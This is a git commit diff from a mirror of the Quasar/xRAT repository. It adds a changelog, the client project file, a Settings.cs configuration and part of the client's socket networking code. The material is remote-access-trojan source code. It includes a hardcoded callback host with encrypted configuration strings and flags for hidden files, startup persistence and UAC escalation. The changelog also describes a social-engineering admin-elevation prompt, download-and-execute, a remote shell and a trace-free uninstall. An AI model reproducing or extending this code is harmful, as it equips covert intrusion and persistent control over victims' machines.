mirror of https://github.com/quasar/Quasar.git
Initial commit with everything else
This commit is contained in:
parent
b95faf434a
commit
034b6242f4
|
@ -172,3 +172,6 @@ UpgradeLog*.htm
|
|||
|
||||
# Microsoft Fakes
|
||||
FakesAssemblies/
|
||||
|
||||
# Private
|
||||
[Pp]rivate/
|
|
@ -0,0 +1,83 @@
|
|||
xRAT v2.0.0.0 RELEASE1 [08.07.2014]
|
||||
======================================================================================
|
||||
- Added Icon Changer
|
||||
- Added Remote Shell
|
||||
- Added profiles to builder (save/load)
|
||||
- Added motion detection algorithm to Remote Desktop (40-50% faster)
|
||||
- Added monitor selection to Remote Desktop
|
||||
- Improved Admin Elevation (waits 3sec before finally shows)
|
||||
- Improved System Information
|
||||
- Improved Task Manager->Start Process
|
||||
- Improved uninstall command to leave no trace on computer
|
||||
- Improved settings XMl writer/reader if no settings file exists
|
||||
- Fixed rare bug with uninstall command
|
||||
- First Stable Release
|
||||
|
||||
|
||||
xRAT v2.0.0.0 BETA2 [16.05.2014]
|
||||
======================================================================================
|
||||
- Added Update Function
|
||||
- Added renamer (thx li0nsar3c00l)
|
||||
- Added loading information to System Information
|
||||
- Added some additional checks to validate PE-Files in Download & Execute command
|
||||
- Improved version information
|
||||
- Admin Elevation Trick now gets the language from the System not from GeoIP(thx Domi)
|
||||
- Fixed showing wrong country flag when country is unknown
|
||||
- Some minor design changes
|
||||
|
||||
|
||||
xRAT v2.0.0.0 BETA1 [14.04.2014]
|
||||
======================================================================================
|
||||
- Added custom social engineering tactic to elevate Admin privileges (betabot's trick)
|
||||
* Supports 9 languages
|
||||
- Added System Information
|
||||
- Added Show Messagebox
|
||||
- Added Visit Website [Hidden/Visible]
|
||||
- Added support for Mouse to Remote Desktop
|
||||
- Added new Status for User [Active/Idle]
|
||||
- Added Statistics for Connected Clients and Traffic
|
||||
- Added Zone Identifier Deletion after downloading Files
|
||||
- Added Transferlist to File Manager
|
||||
- Moved GeoIP Location from Server to Client -> increases speed
|
||||
- Improved Startup Method
|
||||
- Improved Remote Desktop
|
||||
- Improved File Manager
|
||||
- Improved listview in Main Window
|
||||
- Fixed rare window focus bug
|
||||
- Fixed some crashes
|
||||
- Fixed some minor bugs
|
||||
- First Beta Release
|
||||
|
||||
|
||||
xRAT v2.0.0.0 ALPHA3 [31.03.2014]
|
||||
======================================================================================
|
||||
- Added Settings encryption to Client
|
||||
- Added detection of Account Type to Client
|
||||
- Extended Builder
|
||||
- Optimized File Manager
|
||||
- Changed Builder exception message
|
||||
- Small code changes for future updates
|
||||
- Fixed flickering listview in File Manager and Task Manager
|
||||
- Fixed wrong sorting in File Manager
|
||||
- Fixed Remote Desktop crash when exiting without pressing "Stop" first
|
||||
- Fixed various crashes and exceptions
|
||||
|
||||
|
||||
xRAT v2.0.0.0 ALPHA2 [22.03.2014]
|
||||
======================================================================================
|
||||
- Added Remote Desktop
|
||||
- Added Task Manager
|
||||
- Added File Manager
|
||||
- Added some icons
|
||||
- Improved Builder
|
||||
- Optimized code
|
||||
- Fixed connection count bug
|
||||
- Fixed client disconnect bug
|
||||
- Fixed uninstall not working when Client is built with hidden option
|
||||
- Fixed deleting registry key while uninstalling Client
|
||||
- Fixed various crashes and exceptions
|
||||
|
||||
|
||||
xRAT v2.0.0.0 ALPHA1 [16.03.2014]
|
||||
======================================================================================
|
||||
- First Alpha Release
|
|
@ -0,0 +1,216 @@
|
|||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">x86</Platform>
|
||||
<ProductVersion>8.0.30703</ProductVersion>
|
||||
<SchemaVersion>2.0</SchemaVersion>
|
||||
<ProjectGuid>{9F5CF56A-DDB2-4F40-AB99-2A1DC47588E1}</ProjectGuid>
|
||||
<OutputType>WinExe</OutputType>
|
||||
<AppDesignerFolder>Properties</AppDesignerFolder>
|
||||
<RootNamespace>Client</RootNamespace>
|
||||
<AssemblyName>Client</AssemblyName>
|
||||
<TargetFrameworkVersion>v2.0</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|x86' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>..\Bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|x86' ">
|
||||
<PlatformTarget>AnyCPU</PlatformTarget>
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>..\Bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
<AllowUnsafeBlocks>true</AllowUnsafeBlocks>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Deployment" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Management" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Core\Client.cs" />
|
||||
<Compile Include="Core\Commands\CommandHandler.cs" />
|
||||
<Compile Include="Core\Compression\LZ4\LZ4Compressor32.cs" />
|
||||
<Compile Include="Core\Compression\LZ4\LZ4Decompressor32.cs" />
|
||||
<Compile Include="Core\Compression\LZ4\LZ4Util.cs" />
|
||||
<Compile Include="Core\Elevation\CommandButton.cs">
|
||||
<SubType>Component</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Core\Elevation\frmElevation.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="Core\Elevation\frmElevation.Designer.cs">
|
||||
<DependentUpon>frmElevation.cs</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Core\Encryption\AES.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\Commands\DesktopResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\Commands\DirectoryResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\Commands\DownloadFileResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\Commands\DrivesResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\Commands\GetProcessesResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\Commands\GetSystemInfoResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\Commands\MonitorsResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\Commands\ShellCommandResponse.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\Commands\UserStatus.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\Commands\Desktop.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\Commands\Directory.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\Commands\DownloadFile.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\Commands\Drives.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\Commands\GetProcesses.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\Commands\GetSystemInfo.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\Commands\KillProcess.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\Commands\Monitors.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\Commands\ShellCommand.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\Commands\ShowMessageBox.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\Commands\Update.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\Commands\VisitWebsite.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\Commands\MouseClick.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\Commands\StartProcess.cs" />
|
||||
<Compile Include="Core\RemoteShell\Shell.cs" />
|
||||
<Compile Include="Core\SystemCore.cs" />
|
||||
<Compile Include="Core\Encryption\RC4.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\Commands\Status.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\Connection\Initialize.cs" />
|
||||
<Compile Include="Core\Packets\ClientPackets\Connection\KeepAliveResponse.cs" />
|
||||
<Compile Include="Core\Packets\IPacket.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\Commands\Disconnect.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\Commands\DownloadAndExecute.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\Commands\Uninstall.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\Connection\InitializeCommand.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\Connection\KeepAlive.cs" />
|
||||
<Compile Include="Core\Packets\ServerPackets\Commands\Reconnect.cs" />
|
||||
<Compile Include="Core\Packets\UnknownPacket.cs" />
|
||||
<Compile Include="Core\ProtoBuf\BclHelpers.cs" />
|
||||
<Compile Include="Core\ProtoBuf\BufferExtension.cs" />
|
||||
<Compile Include="Core\ProtoBuf\BufferPool.cs" />
|
||||
<Compile Include="Core\ProtoBuf\DataFormat.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Helpers.cs" />
|
||||
<Compile Include="Core\ProtoBuf\IExtensible.cs" />
|
||||
<Compile Include="Core\ProtoBuf\IExtension.cs" />
|
||||
<Compile Include="Core\ProtoBuf\ImplicitFields.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Meta\AttributeMap.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Meta\BasicList.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Meta\CallbackSet.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Meta\MetaType.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Meta\RuntimeTypeModel.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Meta\SubType.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Meta\TypeFormatEventArgs.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Meta\TypeModel.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Meta\ValueMember.cs" />
|
||||
<Compile Include="Core\ProtoBuf\NetObjectCache.cs" />
|
||||
<Compile Include="Core\ProtoBuf\PrefixStyle.cs" />
|
||||
<Compile Include="Core\ProtoBuf\ProtoContractAttribute.cs" />
|
||||
<Compile Include="Core\ProtoBuf\ProtoEnumAttribute.cs" />
|
||||
<Compile Include="Core\ProtoBuf\ProtoException.cs" />
|
||||
<Compile Include="Core\ProtoBuf\ProtoIgnoreAttribute.cs" />
|
||||
<Compile Include="Core\ProtoBuf\ProtoIncludeAttribute.cs" />
|
||||
<Compile Include="Core\ProtoBuf\ProtoMemberAttribute.cs" />
|
||||
<Compile Include="Core\ProtoBuf\ProtoReader.cs" />
|
||||
<Compile Include="Core\ProtoBuf\ProtoWriter.cs" />
|
||||
<Compile Include="Core\ProtoBuf\SerializationContext.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\ArrayDecorator.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\BlobSerializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\BooleanSerializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\ByteSerializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\CharSerializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\CompiledSerializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\DateTimeSerializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\DecimalSerializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\DefaultValueDecorator.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\DoubleSerializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\EnumSerializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\FieldDecorator.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\GuidSerializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\Int16Serializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\Int32Serializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\Int64Serializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\IProtoSerializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\IProtoTypeSerializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\ISerializerProxy.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\KeyValuePairDecorator.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\ListDecorator.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\MemberSpecifiedDecorator.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\NetObjectSerializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\NullDecorator.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\ParseableSerializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\PropertyDecorator.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\ProtoDecoratorBase.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\SByteSerializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\SingleSerializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\StringSerializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\SubItemSerializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\SurrogateSerializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\SystemTypeSerializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\TagDecorator.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\TimeSpanSerializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\TupleSerializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\TypeSerializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\UInt16Serializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\UInt32Serializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\UInt64Serializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\Serializers\UriDecorator.cs" />
|
||||
<Compile Include="Core\ProtoBuf\ServiceModel\ProtoBehaviorAttribute.cs" />
|
||||
<Compile Include="Core\ProtoBuf\ServiceModel\ProtoBehaviorExtensionElement.cs" />
|
||||
<Compile Include="Core\ProtoBuf\ServiceModel\ProtoEndpointBehavior.cs" />
|
||||
<Compile Include="Core\ProtoBuf\ServiceModel\ProtoOperationBehavior.cs" />
|
||||
<Compile Include="Core\ProtoBuf\ServiceModel\XmlProtoSerializer.cs" />
|
||||
<Compile Include="Core\ProtoBuf\SubItemToken.cs" />
|
||||
<Compile Include="Core\ProtoBuf\WireType.cs" />
|
||||
<Compile Include="Core\Server.cs" />
|
||||
<Compile Include="Core\Helper\Helper.cs" />
|
||||
<Compile Include="GeoIP.cs" />
|
||||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="Config\Settings.cs" />
|
||||
<EmbeddedResource Include="Core\Elevation\frmElevation.resx">
|
||||
<DependentUpon>frmElevation.cs</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
<EmbeddedResource Include="Properties\Resources.resx">
|
||||
<Generator>ResXFileCodeGenerator</Generator>
|
||||
<LastGenOutput>Resources.Designer.cs</LastGenOutput>
|
||||
<SubType>Designer</SubType>
|
||||
</EmbeddedResource>
|
||||
<Compile Include="Properties\Resources.Designer.cs">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Resources.resx</DependentUpon>
|
||||
<DesignTime>True</DesignTime>
|
||||
</Compile>
|
||||
<None Include="Properties\Settings.settings">
|
||||
<Generator>SettingsSingleFileGenerator</Generator>
|
||||
<LastGenOutput>Settings.Designer.cs</LastGenOutput>
|
||||
</None>
|
||||
<Compile Include="Properties\Settings.Designer.cs">
|
||||
<AutoGen>True</AutoGen>
|
||||
<DependentUpon>Settings.settings</DependentUpon>
|
||||
<DesignTimeSharedInput>True</DesignTimeSharedInput>
|
||||
</Compile>
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
<PropertyGroup>
|
||||
<PostBuildEvent>copy "$(TargetPath)" "$(TargetDir)client.bin" /Y</PostBuildEvent>
|
||||
</PropertyGroup>
|
||||
<!-- To modify your build process, add your task inside one of the targets below and uncomment it.
|
||||
Other similar extension points exist, see Microsoft.Common.targets.
|
||||
<Target Name="BeforeBuild">
|
||||
</Target>
|
||||
<Target Name="AfterBuild">
|
||||
</Target>
|
||||
-->
|
||||
</Project>
|
|
@ -0,0 +1,55 @@
|
|||
using System;
|
||||
using Core.Encryption;
|
||||
|
||||
namespace Client
|
||||
{
|
||||
public class Settings
|
||||
{
|
||||
#if DEBUG
|
||||
public static string VERSION = "1.0.0.0d";
|
||||
public static string HOST = "me.maxxor.org";
|
||||
public static ushort PORT = 4782;
|
||||
public static int RECONNECTDELAY = 5000;
|
||||
public static string PASSWORD = "1234";
|
||||
public static string DIR = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
|
||||
public static string SUBFOLDER = "Test";
|
||||
public static string INSTALLNAME = "test.exe";
|
||||
public static bool INSTALL = false;
|
||||
public static bool STARTUP = true;
|
||||
public static string MUTEX = "123AKs82kA,ylAo2kAlUS2kYkala!";
|
||||
public static string STARTUPKEY = "Test key";
|
||||
public static bool HIDEFILE = true;
|
||||
public static bool ENABLEUACESCALATION = false;
|
||||
|
||||
public static void Initialize()
|
||||
{ }
|
||||
#else
|
||||
public static string VERSION = "1.0.0.0r";
|
||||
public static string HOST = "localhost";
|
||||
public static ushort PORT = 4782;
|
||||
public static int RECONNECTDELAY = 5000;
|
||||
public static string PASSWORD = "1234";
|
||||
public static string DIR = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
|
||||
public static string SUBFOLDER = "SUB";
|
||||
public static string INSTALLNAME = "INSTALL";
|
||||
public static bool INSTALL = false;
|
||||
public static bool STARTUP = true;
|
||||
public static string MUTEX = "MUTEX";
|
||||
public static string STARTUPKEY = "STARTUP";
|
||||
public static bool HIDEFILE = true;
|
||||
public static bool ENABLEUACESCALATION = true;
|
||||
public static string ENCRYPTIONKEY = "ENCKEY";
|
||||
|
||||
public static void Initialize()
|
||||
{
|
||||
VERSION = AES.Decrypt(VERSION, ENCRYPTIONKEY);
|
||||
HOST = AES.Decrypt(HOST, ENCRYPTIONKEY);
|
||||
PASSWORD = AES.Decrypt(PASSWORD, ENCRYPTIONKEY);
|
||||
SUBFOLDER = AES.Decrypt(SUBFOLDER, ENCRYPTIONKEY);
|
||||
INSTALLNAME = AES.Decrypt(INSTALLNAME, ENCRYPTIONKEY);
|
||||
MUTEX = AES.Decrypt(MUTEX, ENCRYPTIONKEY);
|
||||
STARTUPKEY = AES.Decrypt(STARTUPKEY, ENCRYPTIONKEY);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
}
|
|
@ -0,0 +1,454 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.ComponentModel;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using Client;
|
||||
using Core.Encryption;
|
||||
using Core.Packets;
|
||||
using Core.Packets.ClientPackets;
|
||||
using Core.Packets.ServerPackets;
|
||||
using ProtoBuf;
|
||||
using ProtoBuf.Meta;
|
||||
|
||||
namespace Core
|
||||
{
|
||||
public class Client
|
||||
{
|
||||
//TODO: Lock objects where needed.
|
||||
//TODO: Create and handle ReadQueue.
|
||||
|
||||
public event ClientFailEventHandler ClientFail;
|
||||
public delegate void ClientFailEventHandler(Client s, Exception ex);
|
||||
|
||||
private void OnClientFail(Exception ex)
|
||||
{
|
||||
if (ClientFail != null)
|
||||
{
|
||||
ClientFail(this, ex);
|
||||
}
|
||||
}
|
||||
|
||||
public event ClientStateEventHandler ClientState;
|
||||
public delegate void ClientStateEventHandler(Client s, bool connected);
|
||||
|
||||
private void OnClientState(bool connected)
|
||||
{
|
||||
if (ClientState != null)
|
||||
{
|
||||
ClientState(this, connected);
|
||||
}
|
||||
}
|
||||
|
||||
public event ClientReadEventHandler ClientRead;
|
||||
public delegate void ClientReadEventHandler(Client s, IPacket packet);
|
||||
|
||||
private void OnClientRead(byte[] e)
|
||||
{
|
||||
if (ClientRead != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (compressionEnabled)
|
||||
e = new LZ4.LZ4Decompressor32().Decompress(e);
|
||||
|
||||
if (encryptionEnabled)
|
||||
e = RC4.Decrypt(e, Settings.PASSWORD);
|
||||
|
||||
using (MemoryStream deserialized = new MemoryStream(e))
|
||||
{
|
||||
IPacket packet = Serializer.DeserializeWithLengthPrefix<IPacket>(deserialized, PrefixStyle.Fixed32);
|
||||
|
||||
if (packet.GetType() == typeof(KeepAliveResponse))
|
||||
_parentServer.HandleKeepAlivePacket((KeepAliveResponse)packet, this);
|
||||
|
||||
else if (packet.GetType() == typeof(KeepAlive))
|
||||
new KeepAliveResponse() { TimeSent = ((KeepAlive)packet).TimeSent }.Execute(this);
|
||||
|
||||
else
|
||||
ClientRead(this, packet);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
new UnknownPacket().Execute(this);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public event ClientWriteEventHandler ClientWrite;
|
||||
public delegate void ClientWriteEventHandler(Client s, IPacket packet, long length, byte[] rawData);
|
||||
|
||||
private void OnClientWrite(IPacket packet, long length, byte[] rawData)
|
||||
{
|
||||
if (ClientWrite != null)
|
||||
{
|
||||
ClientWrite(this, packet, length, rawData);
|
||||
}
|
||||
}
|
||||
|
||||
private readonly AsyncOperation _asyncOperation;
|
||||
private Socket _handle;
|
||||
|
||||
private int _sendIndex;
|
||||
private byte[] _sendBuffer;
|
||||
|
||||
private int _readIndex;
|
||||
private byte[] _readBuffer;
|
||||
|
||||
private Queue<byte[]> _sendQueue;
|
||||
|
||||
private SocketAsyncEventArgs[] _item = new SocketAsyncEventArgs[2];
|
||||
|
||||
private bool[] _processing = new bool[2];
|
||||
|
||||
public int BufferSize { get; set; }
|
||||
|
||||
private IPEndPoint _endPoint;
|
||||
public IPEndPoint EndPoint
|
||||
{
|
||||
get
|
||||
{
|
||||
return _endPoint ?? new IPEndPoint(IPAddress.None, 0);
|
||||
}
|
||||
}
|
||||
|
||||
private const bool encryptionEnabled = true;
|
||||
private const bool compressionEnabled = true;
|
||||
|
||||
private Server _parentServer;
|
||||
|
||||
public bool Connected { get; private set; }
|
||||
|
||||
private int _typeIndex = 0;
|
||||
|
||||
public Client(int bufferSize)
|
||||
{
|
||||
_asyncOperation = AsyncOperationManager.CreateOperation(null);
|
||||
BufferSize = bufferSize;
|
||||
}
|
||||
|
||||
internal Client(Server server, Socket sock, int size, Type[] packets)
|
||||
{
|
||||
try
|
||||
{
|
||||
AddTypesToSerializer(typeof(IPacket), packets);
|
||||
|
||||
_parentServer = server;
|
||||
|
||||
_asyncOperation = AsyncOperationManager.CreateOperation(null);
|
||||
|
||||
Initialize();
|
||||
_item[0].SetBuffer(new byte[size], 0, size);
|
||||
|
||||
_handle = sock;
|
||||
|
||||
_handle.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);
|
||||
_handle.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.NoDelay, true);
|
||||
_handle.NoDelay = true;
|
||||
|
||||
BufferSize = size;
|
||||
_endPoint = (IPEndPoint)_handle.RemoteEndPoint;
|
||||
Connected = true;
|
||||
|
||||
if (!_handle.ReceiveAsync(_item[0]))
|
||||
Process(null, _item[0]);
|
||||
}
|
||||
catch
|
||||
{
|
||||
Disconnect();
|
||||
}
|
||||
}
|
||||
|
||||
public void Connect(string host, ushort port)
|
||||
{
|
||||
try
|
||||
{
|
||||
Disconnect();
|
||||
Initialize();
|
||||
|
||||
_handle = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
|
||||
|
||||
_handle.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.KeepAlive, true);
|
||||
_handle.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.NoDelay, true);
|
||||
_handle.NoDelay = true;
|
||||
|
||||
_item[0].RemoteEndPoint = new IPEndPoint(GetAddress(host), port);
|
||||
if (!_handle.ConnectAsync(_item[0]))
|
||||
Process(null, _item[0]);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(ex.ToString());
|
||||
OnClientFail(ex);
|
||||
Disconnect();
|
||||
}
|
||||
}
|
||||
|
||||
private IPAddress GetAddress(string host)
|
||||
{
|
||||
IPAddress[] hosts = Dns.GetHostAddresses(host);
|
||||
|
||||
foreach (IPAddress h in hosts)
|
||||
if (h.AddressFamily == AddressFamily.InterNetwork)
|
||||
return h;
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
private void Initialize()
|
||||
{
|
||||
|
||||
AddTypesToSerializer(typeof(IPacket), new Type[]
|
||||
{
|
||||
typeof(UnknownPacket),
|
||||
typeof(KeepAlive),
|
||||
typeof(KeepAliveResponse)
|
||||
});
|
||||
|
||||
_processing = new bool[2];
|
||||
|
||||
_sendIndex = 0;
|
||||
_readIndex = 0;
|
||||
|
||||
_sendBuffer = new byte[0];
|
||||
_readBuffer = new byte[0];
|
||||
|
||||
_sendQueue = new Queue<byte[]>();
|
||||
|
||||
_item[0] = new SocketAsyncEventArgs();
|
||||
_item[0].Completed += Process;
|
||||
_item[1] = new SocketAsyncEventArgs();
|
||||
_item[1].Completed += Process;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Adds a Type to the serializer so a message can be properly serialized.
|
||||
/// </summary>
|
||||
/// <param name="parent">The parent type, i.e.: IPacket</param>
|
||||
/// <param name="type">Type to be added</param>
|
||||
public void AddTypeToSerializer(Type parent, Type type)
|
||||
{
|
||||
if (type == null || parent == null)
|
||||
throw new ArgumentNullException();
|
||||
|
||||
bool isAdded = false;
|
||||
foreach (SubType subType in RuntimeTypeModel.Default[parent].GetSubtypes())
|
||||
if (subType.DerivedType.Type == type)
|
||||
isAdded = true;
|
||||
|
||||
if (!isAdded)
|
||||
RuntimeTypeModel.Default[parent].AddSubType(_typeIndex += 1, type);
|
||||
}
|
||||
|
||||
public void AddTypesToSerializer(Type parent, params Type[] types)
|
||||
{
|
||||
foreach (Type type in types)
|
||||
AddTypeToSerializer(parent, type);
|
||||
}
|
||||
|
||||
private void Process(object s, SocketAsyncEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (e.SocketError == SocketError.Success)
|
||||
{
|
||||
switch (e.LastOperation)
|
||||
{
|
||||
case SocketAsyncOperation.Connect:
|
||||
_endPoint = (IPEndPoint)_handle.RemoteEndPoint;
|
||||
Connected = true;
|
||||
_item[0].SetBuffer(new byte[BufferSize], 0, BufferSize);
|
||||
|
||||
_asyncOperation.Post(x => OnClientState((bool)x), true);
|
||||
if (!_handle.ReceiveAsync(e))
|
||||
Process(null, e);
|
||||
break;
|
||||
case SocketAsyncOperation.Receive:
|
||||
if (!Connected)
|
||||
return;
|
||||
|
||||
if (e.BytesTransferred != 0)
|
||||
{
|
||||
HandleRead(e.Buffer, 0, e.BytesTransferred);
|
||||
|
||||
e.SetBuffer(new byte[BufferSize], 0, BufferSize);
|
||||
|
||||
if (!_handle.ReceiveAsync(e))
|
||||
Process(null, e);
|
||||
}
|
||||
else
|
||||
{
|
||||
Disconnect();
|
||||
}
|
||||
break;
|
||||
case SocketAsyncOperation.Send:
|
||||
if (!Connected)
|
||||
return;
|
||||
|
||||
_sendIndex += e.BytesTransferred;
|
||||
|
||||
bool eos = (_sendIndex >= _sendBuffer.Length);
|
||||
|
||||
if (_sendQueue.Count == 0 && eos)
|
||||
_processing[1] = false;
|
||||
else
|
||||
HandleSendQueue();
|
||||
break;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
if (e.LastOperation == SocketAsyncOperation.Connect)
|
||||
_asyncOperation.Post(x => OnClientFail(new Exception("failed to connect")), null);
|
||||
Disconnect();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
Disconnect();
|
||||
}
|
||||
}
|
||||
|
||||
public void Disconnect()
|
||||
{
|
||||
//if (_processing[0])
|
||||
// return;
|
||||
|
||||
_processing[0] = true;
|
||||
|
||||
bool raise = Connected;
|
||||
Connected = false;
|
||||
|
||||
if (_handle != null)
|
||||
_handle.Close();
|
||||
if (_sendQueue != null)
|
||||
_sendQueue.Clear();
|
||||
|
||||
_sendBuffer = new byte[0];
|
||||
_readBuffer = new byte[0];
|
||||
|
||||
if (raise)
|
||||
_asyncOperation.Post(x => OnClientState(false), null);
|
||||
|
||||
_endPoint = null;
|
